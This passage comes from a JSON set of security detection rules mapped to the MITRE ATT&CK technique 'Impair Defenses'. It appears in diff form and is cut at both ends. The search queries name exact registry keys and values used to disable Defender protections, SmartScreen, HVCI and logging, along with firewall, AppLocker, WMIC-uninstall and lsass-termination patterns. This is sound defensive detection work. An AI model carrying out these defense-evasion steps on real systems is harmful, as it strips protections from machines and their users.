Impair Defense Overide Win Defender Phishing Filter", - "description": "The following analytic detects modifications to the Windows registry that disable the Windows Defender phishing filter. It leverages data from the Endpoint.Registry data model, focusing on changes to specific registry values related to Microsoft Edge's phishing filter settings. This activity is significant because disabling the phishing filter can allow attackers to deceive users into visiting malicious websites without triggering browser warnings. If confirmed malicious, this could lead to users unknowingly accessing harmful sites, resulting in potential security incidents or data compromises.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_key_name = \"*\\\\MicrosoftEdge\\\\PhishingFilter\" Registry.registry_value_name IN (\"EnabledV9\", \"PreventOverride\") Registry.registry_value_data=\"0x00000000\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_overide_win_defender_phishing_filter_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender Phishing Filter registry was modified on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Override SmartScreen Prompt", - "description": "The following analytic detects modifications to the Windows registry that override the Windows Defender SmartScreen prompt. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the \"PreventSmartScreenPromptOverride\" registry setting. This activity is significant because it indicates an attempt to disable the prevention of user overrides for SmartScreen prompts, potentially allowing users to bypass security warnings. If confirmed malicious, this could lead to users inadvertently executing or accessing harmful content, increasing the risk of security incidents or system compromises.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE Registry.registry_path= \"*\\\\Microsoft\\\\Edge\\\\PreventSmartScreenPromptOverride\" Registry.registry_value_data= \"0x00000000\" BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_override_smartscreen_prompt_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender SmartScreen prompt was override on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Set Win Defender Smart Screen Level To Warn", - "description": "The following analytic detects modifications to the Windows registry that set the Windows Defender SmartScreen level to \"warn.\" This detection leverages data from the Endpoint.Registry data model, specifically monitoring changes to the ShellSmartScreenLevel registry value. This activity is significant because altering SmartScreen settings to \"warn\" can reduce immediate suspicion from users, allowing potentially malicious executables to run with just a warning prompt. If confirmed malicious, this could enable attackers to execute harmful files, increasing the risk of successful malware deployment and subsequent system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Microsoft\\\\Windows\\\\System\\\\ShellSmartScreenLevel\" Registry.registry_value_data=\"Warn\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_set_win_defender_smart_screen_level_to_warn_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender SmartScreen Level to Warn on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defenses Disable HVCI", - "description": "The following analytic detects the disabling of Hypervisor-protected Code Integrity (HVCI) by monitoring changes in the Windows registry. It leverages data from the Endpoint datamodel, specifically focusing on registry paths and values related to HVCI settings. This activity is significant because HVCI helps protect the kernel and system processes from tampering by malicious code. If confirmed malicious, disabling HVCI could allow attackers to execute unsigned kernel-mode code, potentially leading to kernel-level rootkits or other severe security breaches.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path = \"*\\\\CurrentControlSet\\\\Control\\\\DeviceGuard\\\\Scenarios\\\\HypervisorEnforcedCodeIntegrity\\\\Enabled\" Registry.registry_value_data=\"0x00000000\" by Registry.registry_path Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.action Registry.user Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defenses_disable_hvci_filter`", - "tags": { - "analytic_story": [ - "BlackLotus Campaign", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "HVCI has been disabled on $dest$.", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defenses Disable Win Defender Auto Logging", - "description": "The following analytic detects the disabling of Windows Defender logging by identifying changes to the Registry keys DefenderApiLogger or DefenderAuditLogger set to disable. It leverages data from the Endpoint.Registry datamodel to monitor specific registry paths and values. This activity is significant as it is commonly associated with Remote Access Trojan (RAT) malware attempting to evade detection. If confirmed malicious, this action could allow an attacker to conceal their activities, making it harder to detect further malicious actions and maintain persistence on the compromised endpoint.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where (Registry.registry_path = \"*WMI\\\\Autologger\\\\DefenderApiLogger\\\\Start\" OR Registry.registry_path = \"*WMI\\\\Autologger\\\\DefenderAuditLogger\\\\Start\") Registry.registry_value_data =\"0x00000000\" by Registry.registry_path Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.action Registry.dest Registry.user | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defenses_disable_win_defender_auto_logging_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender Logger registry key set to 'disabled' on $dest$.", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Modify System Firewall with Notable Process Path", - "description": "The following analytic detects suspicious modifications to system firewall rules, specifically allowing execution of applications from notable and potentially malicious file paths. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving firewall rule changes. This activity is significant as it may indicate an adversary attempting to bypass firewall restrictions to execute malicious files. If confirmed malicious, this could allow attackers to execute unauthorized code, potentially leading to further system compromise, data exfiltration, or persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*firewall*\" Processes.process = \"*allow*\" Processes.process = \"*add*\" Processes.process = \"*ENABLE*\" Processes.process IN (\"*\\\\windows\\\\fonts\\\\*\", \"*\\\\windows\\\\temp\\\\*\", \"*\\\\users\\\\public\\\\*\", \"*\\\\windows\\\\debug\\\\*\", \"*\\\\Users\\\\Administrator\\\\Music\\\\*\", \"*\\\\Windows\\\\servicing\\\\*\", \"*\\\\Users\\\\Default\\\\*\",\"*Recycle.bin*\", \"*\\\\Windows\\\\Media\\\\*\", \"\\\\Windows\\\\repair\\\\*\", \"*\\\\temp\\\\*\", \"*\\\\PerfLogs\\\\*\") by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_system_firewall_with_notable_process_path_filter`", - "tags": { - "analytic_story": [ - "NjRAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "firewall allowed program commandline $process$ of $process_name$ on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.004", - "mitre_attack_technique": "Disable or Modify System Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "Carbanak", - "Dragonfly", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "Rocke", - "TeamTNT", - "ToddyCat" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows PowerShell Disable HTTP Logging", - "description": "The following analytic detects the use of `get-WebConfigurationProperty` and `Set-ItemProperty` commands in PowerShell to disable HTTP logging on Windows systems. This detection leverages PowerShell Script Block Logging, specifically looking for script blocks that reference HTTP logging properties and attempt to set them to \"false\" or \"dontLog\". Disabling HTTP logging is significant as it can be used by adversaries to cover their tracks and delete logs, hindering forensic investigations. If confirmed malicious, this activity could allow attackers to evade detection and persist in the environment undetected.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN(\"*get-WebConfigurationProperty*\",\"*Set-ItemProperty*\") AND ScriptBlockText IN (\"*httpLogging*\",\"*Logfile.enabled*\") AND ScriptBlockText IN (\"*dontLog*\", \"*false*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_disable_http_logging_filter`", - "tags": { - "analytic_story": [ - "IIS Components", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell Cmdlet related to disable or modifying a IIS HTTP logging has occurred on $Computer$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1562.002", - "mitre_attack_technique": "Disable Windows Event Logging", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Powershell Import Applocker Policy", - "description": "The following analytic detects the import of Windows PowerShell Applocker cmdlets, specifically identifying the use of \"Import-Module Applocker\" and \"Set-AppLockerPolicy\" with an XML policy. It leverages PowerShell Script Block Logging (EventCode 4104) to capture and analyze script block text. This activity is significant as it may indicate an attempt to enforce restrictive Applocker policies, potentially used by malware like Azorult to disable antivirus products. If confirmed malicious, this could allow an attacker to bypass security controls, leading to further system compromise and persistence.", - "search": "`powershell` EventCode=4104 ScriptBlockText=\"*Import-Module Applocker*\" ScriptBlockText=\"*Set-AppLockerPolicy *\" ScriptBlockText=\"* -XMLPolicy *\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_import_applocker_policy_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell script contains Import Applocker Policy command $ScriptBlockText$ with EventCode $EventCode$ on host $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Registry Delete Task SD", - "description": "The following analytic detects a process attempting to delete a scheduled task's Security Descriptor (SD) from the registry path of that task. It leverages the Endpoint.Registry data model to identify registry actions performed by the SYSTEM user, specifically targeting deletions or modifications of the SD value. This activity is significant as it may indicate an attempt to remove evidence of a scheduled task for defense evasion. If confirmed malicious, it suggests an attacker with privileged access trying to hide their tracks, potentially compromising system integrity and security. Immediate investigation is required.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Endpoint.Registry where Registry.registry_path IN (\"*\\\\Schedule\\\\TaskCache\\\\Tree\\\\*\") Registry.user=\"SYSTEM\" Registry.registry_value_name=\"SD\" (Registry.action=Deleted OR Registry.action=modified) by _time Registry.dest Registry.process_guid Registry.user Registry.registry_path Registry.registry_value_name Registry.registry_key_name Registry.registry_value_data Registry.status Registry.action | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_registry_delete_task_sd_filter`", - "tags": { - "analytic_story": [ - "Scheduled Tasks", - "Windows Persistence Techniques", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A scheduled task security descriptor was deleted from the registry on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Terminating Lsass Process", - "description": "The following analytic detects a suspicious process attempting to terminate the Lsass.exe process. It leverages Sysmon EventCode 10 logs to identify processes granted PROCESS_TERMINATE access to Lsass.exe. This activity is significant because Lsass.exe is a critical process responsible for enforcing security policies and handling user credentials. If confirmed malicious, this behavior could indicate an attempt to perform credential dumping, privilege escalation, or evasion of security policies, potentially leading to unauthorized access and persistence within the environment.", - "search": "`sysmon` EventCode=10 TargetImage=*lsass.exe GrantedAccess = 0x1 | stats count min(_time) as firstTime max(_time) as lastTime by SourceImage, TargetImage, TargetProcessId, SourceProcessId, GrantedAccess CallTrace, dest | rename dest as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_terminating_lsass_process_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Double Zero Destructor" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "TargetImage", - "type": "Process", - "role": [ - "Target" - ] - } - ], - "message": "a process $SourceImage$ terminates Lsass process in $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Wmic NonInteractive App Uninstallation", - "description": "The following analytic identifies the use of the WMIC command-line tool attempting to uninstall applications non-interactively. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns associated with WMIC. This activity is significant because it is uncommon and may indicate an attempt to evade detection by uninstalling security software, as seen in IcedID malware campaigns. If confirmed malicious, this behavior could allow an attacker to disable security defenses, facilitating further compromise and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=wmic.exe Processes.process=\"* product *\" Processes.process=\"*where name*\" Processes.process=\"*call uninstall*\" Processes.process=\"*/nointeractive*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `wmic_noninteractive_app_uninstallation_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "IcedID" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Target" - ] - } - ], - "message": "Wmic $process_name$ with command-line $process$ on $dest$ attempting to uninstall software.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - } - ], - "external_reference": [ - [ - "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" - ], - [ - "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" - ], - [ - "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" - ], - [ - "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" - ], - [ - "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" - ], - [ - "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" - ], - [ - "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" - ], - [ - "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" - ], - [ - "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", - "https://tools.ietf.org/html/rfc2866" - ], - [ - "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", - "https://tools.ietf.org/html/rfc2866" - ], - [ - "https://docs.microsoft.com/en-us/dotnet/framework/windows-services/introduction-to-windows-service-applications", - "https://www.linux.com/news/introduction-services-runlevels-and-rcd-scripts/" - ], - [ - "https://docs.microsoft.com/en-us/dotnet/framework/windows-services/introduction-to-windows-service-applications", - "https://www.linux.com/news/introduction-services-runlevels-and-rcd-scripts/" - ], - [ - "https://docs.microsoft.com/en-us/dotnet/framework/windows-services/introduction-to-windows-service-applications", - "https://www.linux.com/news/introduction-services-runlevels-and-rcd-scripts/" - ], - [ - "https://docs.microsoft.com/en-us/dotnet/framework/windows-services/introduction-to-windows-service-applications", - "https://www.linux.com/news/introduction-services-runlevels-and-rcd-scripts/" - ], - [ - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7", - "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html", - "https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal" - ], - [ - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7", - "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html", - "https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal" - ], - [ - "https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html" - ], - [ - "https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html" - ], - [ - "https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html" - ], - [ - "https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html" - ], - [ - "https://aws.amazon.com", - "https://azure.microsoft.com/en-us/services/" - ], - [ - "https://aws.amazon.com", - "https://azure.microsoft.com/en-us/services/" - ] - ], - "controls": [], - "x_mitre_network_requirements": false, - "technique_id": "T1562", - "stix": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529" - }, - { - "id": "attack-pattern--3d52e51e-f6db-4719-813c-48002a99f43a", - "name": "Cloud Accounts", - "created": "2022-05-27T14:30:01.904Z", - "modified": "2022-10-21T14:21:57.991Z", - "type": "attack-pattern", - "x_mitre_data_sources": [], - "x_mitre_contributors": [ - "Francesco Bigarella" - ], - "x_mitre_impact_type": [], - "x_mitre_deprecated": false, - "x_mitre_effective_permissions": [], - "x_mitre_remote_support": false, - 